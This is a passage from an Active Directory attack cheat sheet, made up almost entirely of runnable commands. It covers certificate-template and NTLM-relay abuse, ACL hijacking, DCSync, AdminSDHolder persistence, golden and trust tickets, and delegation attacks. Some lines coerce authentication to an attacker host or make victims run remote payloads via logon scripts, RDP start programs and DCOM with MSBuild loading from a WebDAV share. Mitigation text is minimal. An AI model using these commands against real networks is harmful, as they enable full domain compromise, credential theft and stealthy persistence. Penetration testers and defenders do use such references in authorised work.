* Discover WebDAV using [GetWebDAVStatus](https://github.com/G0ldenGunSec/GetWebDAVStatus): `GetWebDAVStatus.exe 10.0.0.4`
* Trigger the authentication to relay to our nltmrelayx: `PetitPotam.exe WIN-UBNW4FI3AP0@80/pentestlab 10.0.0.4`
* Use the created account to ask for a service ticket: 
    ```ps1
    .\Rubeus.exe hash /domain:purple.lab /user:WVLFLLKZ$ /password:'iUAL)l<i$;UzD7W'
    .\Rubeus.exe s4u /user:WVLFLLKZ$ /aes256:E0B3D87B512C218D38FAFDBD8A2EC55C83044FD24B6D740140C329F248992D8F /impersonateuser:Administrator /msdsspn:host/pc1.purple.lab /altservice:cifs /nowrap /ptt
    ls \\PC1.purple.lab\c$
    # IP of PC1: 10.0.0.4
    ```


### Active Directory Certificate Services

Find ADCS Server : `crackmapexec ldap domain.lab -u username -p password -M adcs`

#### ESC1 - Misconfigured Certificate Templates

> Domain Users can enroll in the **VulnTemplate** template, which can be used for client authentication and has **ENROLLEE_SUPPLIES_SUBJECT** set. This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA). Allows additional identities to be bound to a certificate beyond the Subject.

Requirements:
*  Template that allows for AD authentication
* **ENROLLEE_SUPPLIES_SUBJECT** flag
* [PKINIT] Client Authentication, Smart Card Logon, Any Purpose, or No EKU (Extended/Enhanced Key Usage) 

Exploitation:
* Use [Certify.exe](https://github.com/GhostPack/Certify) to see if there are any vulnerable templates
    ```ps1
    Certify.exe find /vulnerable
    or
    PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'
    ```
* Use Certify or [Certi](https://github.com/eloypgz/certi) to request a Certificate and add an alternative name (user to impersonate)
    ```ps1
    # request certificates for the machine account by executing Certify with the "/machine" argument from an elevated command prompt.
    Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin
    certi.py req 'contoso.local/Anakin@dc01.contoso.local' contoso-DC01-CA -k -n --alt-name han --template UserSAN
    ```
* Use OpenSSL and convert the certificate, do not enter a password
    ```ps1
    openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
    ```
* Move the cert.pfx to the target machine filesystem and request a TGT for the altname user using Rubeus
    ```ps1
    Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx
    ```

**WARNING**: These certificates will still be usable even if the user or computer resets their password!

**NOTE**: Look for **EDITF_ATTRIBUTESUBJECTALTNAME2**, **CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT**, **ManageCA** flags, and NTLM Relay to AD CS HTTP Endpoints.


#### ESC2 - Misconfigured Certificate Templates

Requirements:
*  Allows requesters to specify a SAN in the CSR as well as allows Any Purpose EKU (2.5.29.37.0)

Exploitation:
* Find template
  ```ps1
  PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
  ```
* Request a certificate specifying the `/altname` as a domain admin like in [ESC1](#esc1---misconfigured-certificate-templates).


#### ESC8 - AD CS Relay Attack

> An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controller’s NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket.

Require [Impacket PR #1101](https://github.com/SecureAuthCorp/impacket/pull/1101)

* Version 1: NTLM Relay + Rubeus + PetitPotam
    ```powershell
    impacket> python3 ntlmrelayx.py -t http://<ca-server>/certsrv/certfnsh.asp -smb2support --adcs
    impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template VulnTemplate
    # For a member server or workstation, the template would be "Computer".
    # Other templates: workstation, DomainController, Machine, KerberosAuthentication

    # Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with petitpotam 
    # You can also use any other way to coerce the authentication like PrintSpooler via MS-RPRN
    git clone https://github.com/topotam/PetitPotam
    python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP
    python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP
    python3 dementor.py <listener> <target> -u <username> -p <password> -d <domain>
    python3 dementor.py 10.10.10.250 10.10.10.10 -u user1 -p Password1 -d lab.local

    # Use the certificate with rubeus to request a TGT
    Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt
    Rubeus.exe asktgt /user:dc1$ /certificate:MIIRdQIBAzC...mUUXS /ptt

    # Now you can use the TGT to perform a DCSync
    mimikatz> lsadump::dcsync /user:krbtgt
    ```

* Version 2: NTLM Relay + Mimikatz + Kekeo
    ```powershell
    impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

    # Mimikatz
    mimikatz> misc::efs /server:dc.lab.local /connect:<IP> /noauth

    # Kekeo
    kekeo> base64 /input:on
    kekeo> tgt::ask /pfx:<BASE64-CERT-FROM-NTLMRELAY> /user:dc$ /domain:lab.local /ptt

    # Mimikatz
    mimikatz> lsadump::dcsync /user:krbtgt
    ```
* Version 3: ADCSPwn
    ```powershell
    https://github.com/bats3c/ADCSPwn
    adcspwn.exe --adcs <cs server> --port [local port] --remote [computer]
    adcspwn.exe --adcs cs.pwnlab.local
    adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --port 9001
    adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --output C:\Temp\cert_b64.txt
    adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --username pwnlab.local\mranderson --password The0nly0ne! --dc dc.pwnlab.local

    # ADCSPwn arguments
    adcs            -       This is the address of the AD CS server which authentication will be relayed to.
    secure          -       Use HTTPS with the certificate service.
    port            -       The port ADCSPwn will listen on.
    remote          -       Remote machine to trigger authentication from.
    username        -       Username for non-domain context.
    password        -       Password for non-domain context.
    dc              -       Domain controller to query for Certificate Templates (LDAP).
    unc             -       Set custom UNC callback path for EfsRpcOpenFileRaw (Petitpotam) .
    output          -       Output path to store base64 generated crt.
    ```

### Dangerous Built-in Groups Usage

If you do not want modified ACLs to be overwritten every hour, you should change ACL template on the object `CN=AdminSDHolder,CN=System` or set `"dminCount` attribute to `0` for the required object.

>  The AdminCount attribute is set to `1` automatically when a user is assigned to any privileged group, but it is never automatically unset when the user is removed from these group(s).

Find users with `AdminCount=1`.

```powershell
crackmapexec ldap 10.10.10.10 -u username -p password --admin-count
# or
python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.10.10.10
jq -r '.[].attributes | select(.adminCount == [1]) | .sAMAccountName[]' domain_users.json
# or
Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)"
Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)"
# or
([adsisearcher]"(AdminCount=1)").findall()
```

#### AdminSDHolder Abuse

> The Access Control List (ACL) of the AdminSDHolder object is used as a template to copy permissions to all "protected groups" in Active Directory and their members. Protected groups include privileged groups such as Domain Admins, Administrators, Enterprise Admins, and Schema Admins.

If you modify the permissions of **AdminSDHolder**, that permission template will be pushed out to all protected accounts automatically by `SDProp` (in an hour).
E.g: if someone tries to delete this user from the Domain Admins in an hour or less, the user will be back in the group.

```powershell
# Add a user to the AdminSDHolder group:
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' -PrincipalIdentity username -Rights All -Verbose

# Right to reset password for toto using the account titi
Add-ObjectACL -TargetSamAccountName toto -PrincipalSamAccountName titi -Rights ResetPassword

# Give all rights
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName toto -Verbose -Rights All
```


### Abusing Active Directory ACLs/ACEs

Check ACL for an User with [ADACLScanner](https://github.com/canix1/ADACLScanner).

```powershell
ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtree -EffectiveRightsPrincipal User1 -Output HTML -Show
```

#### GenericAll

* **GenericAll on User** : We can reset user's password without knowing the current password
* **GenericAll on Group** : Effectively, this allows us to add ourselves (the user spotless) to the Domain Admin group : 
	* On Windows : `net group "domain admins" spotless /add /domain`
	* On Linux:
		* using the Samba software suite : 
		`net rpc group ADDMEM "GROUP NAME" UserToAdd -U 'AttackerUser%MyPassword' -W DOMAIN -I [DC IP]`
		* using bloodyAD: 
		`bloodyAD.py --host [DC IP] -d DOMAIN -u AttackerUser -p MyPassword addObjectToGroup UserToAdd 'GROUP NAME'`

* **GenericAll/GenericWrite** : We can set a **SPN** on a target account, request a TGS, then grab its hash and kerberoast it.
  ```powershell
  # Check for interesting permissions on accounts:
  Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}

  # Check if current user has already an SPN setted:
  PowerView2 > Get-DomainUser -Identity <UserName> | select serviceprincipalname

  # Force set the SPN on the account: Targeted Kerberoasting
  PowerView2 > Set-DomainObject <UserName> -Set @{serviceprincipalname='ops/whatever1'}
  PowerView3 > Set-DomainObject -Identity <UserName> -Set @{serviceprincipalname='any/thing'}

  # Grab the ticket
  PowerView2 > $User = Get-DomainUser username 
  PowerView2 > $User | Get-DomainSPNTicket | fl
  PowerView2 > $User | Select serviceprincipalname

  # Remove the SPN
  PowerView2 > Set-DomainObject -Identity username -Clear serviceprincipalname
  ```

* **GenericAll/GenericWrite** : We can change a victim's **userAccountControl** to not require Kerberos preauthentication, grab the user's crackable AS-REP, and then change the setting back.
	* On Windows:
	```powershell
	# Modify the userAccountControl
	PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
	PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose

	# Grab the ticket
	PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
	ASREPRoast > Get-ASREPHash -Domain domain.local -UserName username

	# Set back the userAccountControl
	PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose
	PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
	```
	* On Linux:
	```bash
	# Modify the userAccountControl
	$ bloodyAD.py --host [DC IP] -d DOMAIN -u AttackerUser -p MyPassword setDontReqPreauthFlag target_user

	# Grab the ticket
	$ GetNPUsers.py DOMAIN/target_user -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>

	# Set back the userAccountControl
	$ bloodyAD.py --host [DC IP] -d DOMAIN -u AttackerUser -p MyPassword setDontReqPreauthFlag target_user false
	```


#### GenericWrite

* Reset another user's password
	* On Windows:
		```powershell
		# https://github.com/EmpireProject/Empire/blob/master/data/module_source/situational_awareness/network/powerview.ps1
		$user = 'DOMAIN\user1'; 
		$pass= ConvertTo-SecureString 'user1pwd' -AsPlainText -Force; 
		$creds = New-Object System.Management.Automation.PSCredential $user, $pass;
		$newpass = ConvertTo-SecureString 'newsecretpass' -AsPlainText -Force; 
		Set-DomainUserPassword -Identity 'DOMAIN\user2' -AccountPassword $newpass -Credential $creds;
		```
	* On Linux:
		```bash
		# Using rpcclient from the  Samba software suite
		rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd" 
		
		# Using bloodyAD with pass-the-hash
		bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B changePassword target_user target_newpwd
		```

* WriteProperty on an ObjectType, which in this particular case is Script-Path, allows the attacker to overwrite the logon script path of the delegate user, which means that the next time, when the user delegate logs on, their system will execute our malicious script : `Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1`

##### GenericWrite and Remote Connection Manager

> Now let’s say you are in an Active Directory environment that still actively uses a Windows Server version that has RCM enabled, or that you are able to enable RCM on a compromised RDSH, what can we actually do ? Well each user object in Active Directory has a tab called ‘Environment’.
>  
> This tab includes settings that, among other things, can be used to change what program is started when a user connects over the Remote Desktop Protocol (RDP) to a TS/RDSH in place of the normal graphical environment. The settings in the ‘Starting program’ field basically function like a windows shortcut, allowing you to supply either a local or remote (UNC) path to an executable which is to be started upon connecting to the remote host. During the logon process these values will be queried by the RCM process and run whatever executable is defined. - https://sensepost.com/blog/2020/ace-to-rce/

:warning: The RCM is only active on Terminal Servers/Remote Desktop Session Hosts. The RCM has also been disabled on recent version of Windows (>2016), it requires a registry change to re-enable.

```powershell
$UserObject = ([ADSI]("LDAP://CN=User,OU=Users,DC=ad,DC=domain,DC=tld"))
$UserObject.TerminalServicesInitialProgram = "\\1.2.3.4\share\file.exe"
$UserObject.TerminalServicesWorkDirectory = "C:\"
$UserObject.SetInfo()
```

NOTE: To not alert the user the payload should hide its own process window and spawn the normal graphical environment.

#### WriteDACL

To abuse `WriteDacl` to a domain object, you may grant yourself the DcSync privileges. It is possible to add any given account as a replication partner of the domain by applying the following extended rights Replicating Directory Changes/Replicating Directory Changes All. [Invoke-ACLPwn](https://github.com/fox-it/Invoke-ACLPwn) is a tool that automates the discovery and pwnage of ACLs in Active Directory that are unsafe configured : `./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'user1' -Domain 'domain.local' -Password 'Welcome01!'`

* WriteDACL on Domain:
	* On Windows: 
	  ```powershell
	  # Give DCSync right to the principal identity
	  Import-Module .\PowerView.ps1
	  $SecPassword = ConvertTo-SecureString 'user1pwd' -AsPlainText -Force
	  $Cred = New-Object System.Management.Automation.PSCredential('DOMAIN.LOCAL\user1', $SecPassword)
	  Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=domain,DC=local' -Rights DCSync -PrincipalIdentity user2 -Verbose -Domain domain.local 
	  ```
  	* On Linux:
  	```bash
	# Give DCSync right to the principal identity
	bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B addDomainSync user2
	
	# Remove right after DCSync
	bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B delDomainSync user2
	```
  
* WriteDACL on Group
  ```powershell
  Add-DomainObjectAcl -TargetIdentity "INTERESTING_GROUP" -Rights WriteMembers -PrincipalIdentity User1
  net group "INTERESTING_GROUP" User1 /add /domain
  ```

#### WriteOwner

An attacker can update the owner of the target object. Once the object owner has been changed to a principal the attacker controls, the attacker may manipulate the object any way they see fit. This can be achieved with Set-DomainObjectOwner (PowerView module).

```powershell
Set-DomainObjectOwner -Identity 'target_object' -OwnerIdentity 'controlled_principal'
```

This ACE can be abused for an Immediate Scheduled Task attack, or for adding a user to the local admin group.


#### ReadLAPSPassword

An attacker can read the LAPS password of the computer account this ACE applies to. This can be achieved with the Active Directory PowerShell module. Detail of the exploitation can be found in the [Reading LAPS Password](#reading-laps-password) section.

```powershell
Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
```


#### ReadGMSAPassword

An attacker can read the GMSA password of the account this ACE applies to. This can be achieved with the Active Directory and DSInternals PowerShell modules.

```powershell
# Save the blob to a variable
$gmsa = Get-ADServiceAccount -Identity 'SQL_HQ_Primary' -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'

# Decode the data structure using the DSInternals module
ConvertFrom-ADManagedPasswordBlob $mp
```

#### ForceChangePassword

An attacker can change the password of the user this ACE applies to:
* On Windows, this can be achieved with `Set-DomainUserPassword` (PowerView module):
```powershell
$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'TargetUser' -AccountPassword $NewPassword
```

* On Linux:
```bash
# Using rpcclient from the  Samba software suite
rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd" 

# Using bloodyAD with pass-the-hash
bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B changePassword target_user target_newpwd
```


### DCOM Exploitation

> DCOM is an extension of COM (Component Object Model), which allows applications to instantiate and access the properties and methods of COM objects on a remote computer.


* Impacket DcomExec.py
  ```ps1
  dcomexec.py [-h] [-share SHARE] [-nooutput] [-ts] [-debug] [-codec CODEC] [-object [{ShellWindows,ShellBrowserWindow,MMC20}]] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-A authfile] [-keytab KEYTAB] target [command ...]
  dcomexec.py -share C$ -object MMC20 '<DOMAIN>/<USERNAME>:<PASSWORD>@<MACHINE_CIBLE>'
  dcomexec.py -share C$ -object MMC20 '<DOMAIN>/<USERNAME>:<PASSWORD>@<MACHINE_CIBLE>' 'ipconfig'
  ```
* CheeseTools - https://github.com/klezVirus/CheeseTools
  ```powershell
  # https://klezvirus.github.io/RedTeaming/LateralMovement/LateralMovementDCOM/
  -t, --target=VALUE         Target Machine
  -b, --binary=VALUE         Binary: powershell.exe
  -a, --args=VALUE           Arguments: -enc <blah>
  -m, --method=VALUE         Methods: MMC20Application, ShellWindows,
                              ShellBrowserWindow, ExcelDDE, VisioAddonEx,
                              OutlookShellEx, ExcelXLL, VisioExecLine, 
                              OfficeMacro
  -r, --reg, --registry      Enable registry manipulation
  -h, -?, --help             Show Help

  Current Methods: MMC20.Application, ShellWindows, ShellBrowserWindow, ExcelDDE, VisioAddonEx, OutlookShellEx, ExcelXLL, VisioExecLine, OfficeMacro.
  ```
* Invoke-DCOM - https://raw.githubusercontent.com/rvrsh3ll/Misc-Powershell-Scripts/master/Invoke-DCOM.ps1
  ```powershell
  Import-Module .\Invoke-DCOM.ps1
  Invoke-DCOM -ComputerName '10.10.10.10' -Method MMC20.Application -Command "calc.exe"
  Invoke-DCOM -ComputerName '10.10.10.10' -Method ExcelDDE -Command "calc.exe"
  Invoke-DCOM -ComputerName '10.10.10.10' -Method ServiceStart "MyService"
  Invoke-DCOM -ComputerName '10.10.10.10' -Method ShellBrowserWindow -Command "calc.exe"
  Invoke-DCOM -ComputerName '10.10.10.10' -Method ShellWindows -Command "calc.exe"
  ```


#### DCOM via MMC Application Class 

This COM object (MMC20.Application) allows you to script components of MMC snap-in operations. there is a method named **"ExecuteShellCommand"** under **Document.ActiveView**.

```ps1
PS C:\> $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.1"))
PS C:\> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe",$null,$null,7)
PS C:\> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe",$null,"-enc DFDFSFSFSFSFSFSFSDFSFSF < Empire encoded string > ","7")

# Weaponized example with MSBuild
PS C:\> [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.1")).Document.ActiveView.ExecuteShellCommand("c:\windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe",$null,"\\10.10.10.2\webdav\build.xml","7")
```

Invoke-MMC20RCE : https://raw.githubusercontent.com/n0tty/powershellery/master/Invoke-MMC20RCE.ps1

#### DCOM via Office

* Excel.Application
  * DDEInitiate
  * RegisterXLL
* Outlook.Application
  * CreateObject->Shell.Application->ShellExecute
  * CreateObject->ScriptControl (office-32bit only)
* Visio.InvisibleApp (same as Visio.Application, but should not show the Visio window)
  * Addons
  * ExecuteLine
* Word.Application
  * RunAutoMacro


```ps1
# Powershell script that injects shellcode into excel.exe via ExecuteExcel4Macro through DCOM
Invoke-Excel4DCOM64.ps1 https://gist.github.com/Philts/85d0f2f0a1cc901d40bbb5b44eb3b4c9
Invoke-ExShellcode.ps1 https://gist.github.com/Philts/f7c85995c5198e845c70cc51cd4e7e2a

# Using Excel DDE
PS C:\> $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "$ComputerName"))
PS C:\> $excel.DisplayAlerts = $false
PS C:\> $excel.DDEInitiate("cmd", "/c calc.exe")

# Using Excel RegisterXLL
# Can't be used reliably with a remote target
Require: reg add HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Security\Trusted Locations /v AllowsNetworkLocations /t REG_DWORD /d 1
PS> $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "$ComputerName"))
PS> $excel.RegisterXLL("EvilXLL.dll")

# Using Visio
$visio = [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.InvisibleApp", "$ComputerName"))
$visio.Addons.Add("C:\Windows\System32\cmd.exe").Run("/c calc")

```

#### DCOM via ShellExecute

```ps1
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"10.10.10.1")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0)
```

#### DCOM via ShellBrowserWindow

:warning: Windows 10 only, the object doesn't exists in Windows 7

```ps1
$com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"10.10.10.1")
$obj = [System.Activator]::CreateInstance($com)
$obj.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0)
```

### Trust relationship between domains

* One-way
  * Domain B trusts A
  * Users in Domain A can access resources in Domain B
  * Users in Domain B cannot access resources in Domain A
* Two-way
  * Domain A trusts Domain B
  * Domain B trusts Domain A
  * Authentication requests can be passed between the two domains in both directions

#### Enumerate trusts between domains

```powershell
nltest /trusted_domains
```

or

```powershell
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

SourceName          TargetName                    TrustType      TrustDirection
----------          ----------                    ---------      --------------
domainA.local      domainB.local                  TreeRoot       Bidirectional
```

#### Exploit trusts between domains

:warning: Require a Domain-Admin level access to the current domain.

| Source     | Target  | Technique to use  | Trust relationship  |
|---|---|---|---|
| Root      | Child  | Golden Ticket + Enterprise Admin group (Mimikatz /groups) | Inter Realm (2-way)  |
| Child     | Child  | SID History exploitation (Mimikatz /sids)                 | Inter Realm Parent-Child (2-way)  |
| Child     | Root   | SID History exploitation (Mimikatz /sids)                 | Inter Realm Tree-Root (2-way)  |
| Forest A  | Forest B  | PrinterBug + Unconstrained delegation ?  | Inter Realm Forest or External (2-way)  |



### Child Domain to Forest Compromise - SID Hijacking

Most trees are linked with dual sided trust relationships to allow for sharing of resources.
By default the first domain created if the Forest Root.

**Requirements**: 
- KRBTGT Hash
- Find the SID of the domain
    ```powershell
    $ Convert-NameToSid target.domain.com\krbtgt
    S-1-5-21-2941561648-383941485-1389968811-502

    # with Impacket
    lookupsid.py domain/user:password@10.10.10.10
    ```
- Replace 502 with 519 to represent Enterprise Admins
- Create golden ticket and attack parent domain. 
    ```powershell
    kerberos::golden /user:Administrator /krbtgt:HASH_KRBTGT /domain:domain.local /sid:S-1-5-21-2941561648-383941485-1389968811 /sids:S-1-5-SID-SECOND-DOMAIN-519 /ptt
    ```

### Forest to Forest Compromise - Trust Ticket

* Require: SID filtering disabled

From the DC, dump the hash of the `currentdomain\targetdomain$` trust account using Mimikatz (e.g. with LSADump or DCSync). Then, using this trust key and the domain SIDs, forge an inter-realm TGT using 
Mimikatz, adding the SID for the target domain's enterprise admins group to our **SID history**.

#### Dumping trust passwords (trust keys)

> Look for the trust name with a dollar ($) sign at the end. Most of the accounts with a trailing **$** are computer accounts, but some are trust accounts.

```powershell
lsadump::trust /patch

or find the TRUST_NAME$ machine account hash
```

#### Create a forged trust ticket (inter-realm TGT) using Mimikatz

```powershell
mimikatz(commandline) # kerberos::golden /domain:domain.local /sid:S-1-5-21... /rc4:HASH_TRUST$ /user:Administrator /service:krbtgt /target:external.com /ticket:c:\temp\trust.kirbi
mimikatz(commandline) # kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:e4e47c8fc433c9e0f3b17ea74856ca6b /user:Administrator /service:krbtgt /target:moneycorp.local /ticket:c:\ad\tools\mcorp-ticket.kirbi
```

#### Use the Trust Ticket file to get a TGS for the targeted service

```powershell
.\asktgs.exe c:\temp\trust.kirbi CIFS/machine.domain.local
.\Rubeus.exe asktgs /ticket:c:\ad\tools\mcorp-ticket.kirbi /service:LDAP/mcorp-dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt
```

Inject the TGS file and access the targeted service with the spoofed rights.

```powershell
kirbikator lsa .\ticket.kirbi
ls \\machine.domain.local\c$
```

### Kerberos Unconstrained Delegation

> The user sends a TGS to access the service, along with their TGT, and then the service can use the user's TGT to request a TGS for the user to any other service and impersonate the user. - https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html 

> When a user authenticates to a computer that has unrestricted kerberos delegation privilege turned on, authenticated user's TGT ticket gets saved to that computer's memory. 

:warning: Unconstrained delegation used to be the only option available in Windows 2000

#### SpoolService Abuse with Unconstrained Delegation

The goal is to gain DC Sync privileges using a computer account and the SpoolService bug.

**Requirements**:
- Object with Property **Trust this computer for delegation to any service (Kerberos only)**
- Must have **ADS_UF_TRUSTED_FOR_DELEGATION** 
- Must not have **ADS_UF_NOT_DELEGATED** flag
- User must not be in the **Protected Users** group 
- User must not have the flag **Account is sensitive and cannot be delegated**

##### Find delegation

:warning: : Domain controllers usually have unconstrained delegation enabled.    
Check the `TrustedForDelegation` property.

* [ADModule](https://github.com/samratashok/ADModule)
  ```powershell
  # From https://github.com/samratashok/ADModule
  PS> Get-ADComputer -Filter {TrustedForDelegation -eq $True}
  ```

* [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
  ```powershell
  $> ldapdomaindump -u "DOMAIN\\Account" -p "Password123*" 10.10.10.10   
  grep TRUSTED_FOR_DELEGATION domain_computers.grep
  ```

* [CrackMapExec module](https://github.com/byt3bl33d3r/CrackMapExec/wiki) 
  ```powershell
  cme ldap 10.10.10.10 -u username -p password --trusted-for-delegation
  ```

##### SpoolService status

Check if the spool service is running on the remote host

```powershell
ls \\dc01\pipe\spoolss
python rpcdump.py DOMAIN/user:password@10.10.10.10
```

##### Monitor with Rubeus

Monitor incoming connections from Rubeus.

```powershell
Rubeus.exe monitor /interval:1 
```

##### Force a connect back from the DC

Due to the unconstrained delegation, the TGT of the computer account (DC$) will be saved in the memory of the computer with unconstrained delegation. By default the domain controller computer account has DCSync rights over the domain object.

>  SpoolSample is a PoC to coerce a Windows host to authenticate to an arbitrary server using a "feature" in the MS-RPRN RPC interface.

```powershell
# From https://github.com/leechristensen/SpoolSample
.\SpoolSample.exe VICTIM-DC-NAME UNCONSTRAINED-SERVER-DC-NAME
.\SpoolSample.exe DC01.HACKER.LAB HELPDESK.HACKER.LAB
# DC01.HACKER.LAB is the domain controller we want to compromise
# HELPDESK.HACKER.LAB is the machine with delegation enabled that we control.

# From https://github.com/dirkjanm/krbrelayx
printerbug.py 'domain/username:password'@<VICTIM-DC-NAME> <UNCONSTRAINED-SERVER-DC-NAME>

# From https://gist.github.com/3xocyte/cfaf8a34f76569a8251bde65fe69dccc#gistcomment-2773689
python dementor.py -d domain -u username -p password <UNCONSTRAINED-SERVER-DC-NAME> <VICTIM-DC-NAME>
```

If the attack worked you should get a TGT of the domain controller.

##### Load the ticket

Extract the base64 TGT from Rubeus output and load it to our current session.

```powershell
.\Rubeus.exe asktgs /ticket:<ticket base64> /ptt
```

Alternatively you could also grab the ticket using Mimikatz :  `mimikatz # sekurlsa::tickets`

Then you can use DCsync or another attack : `mimikatz # lsadump::dcsync /user:HACKER\krbtgt`


##### Mitigation

* Ensure sensitive accounts cannot be delegated
* Disable the Print Spooler Service


#### MS-EFSRPC Abuse with Unconstrained Delegation

Using `PetitPotam`, another tool to coerce a callback from the targeted machine, instead of `SpoolSample`.

```bash
# Coerce the callback
git clone https://github.com/topotam/PetitPotam
python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP
python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP

# Extract the ticket
.\Rubeus.exe asktgs /ticket:<ticket base64> /ptt
```


### Kerberos Constrained Delegation

> Request a Kerberos ticket which allows us to exploit delegation configurations, we can once again use Impackets getST.py script, however,

Passing the -impersonate flag and specifying the user we wish to impersonate (any valid username).

```powershell
# Discover
$ Get-DomainComputer -TrustedToAuth | select -exp dnshostname

# Find the service 
$ Get-DomainComputer previous_result | select -exp msds-AllowedToDelegateTo
```

#### Exploit the Constrained Delegation

* Impacket
  ```bash
  $ getST.py -spn HOST/SQL01.DOMAIN 'DOMAIN/user:password' -impersonate Administrator -dc-ip 10.10.10.10
  ```
* Rubeus
  ```bash
  $ ./Rubeus.exe tgtdeleg /nowrap # this ticket can be used with /ticket:...
  $ ./Rubeus.exe s4u /user:user_for_delegation /rc4:user_pwd_hash /impersonateuser:user_to_impersonate /domain:domain.com /dc:dc01.domain.com /msdsspn:cifs/srv01.domain.com /ptt
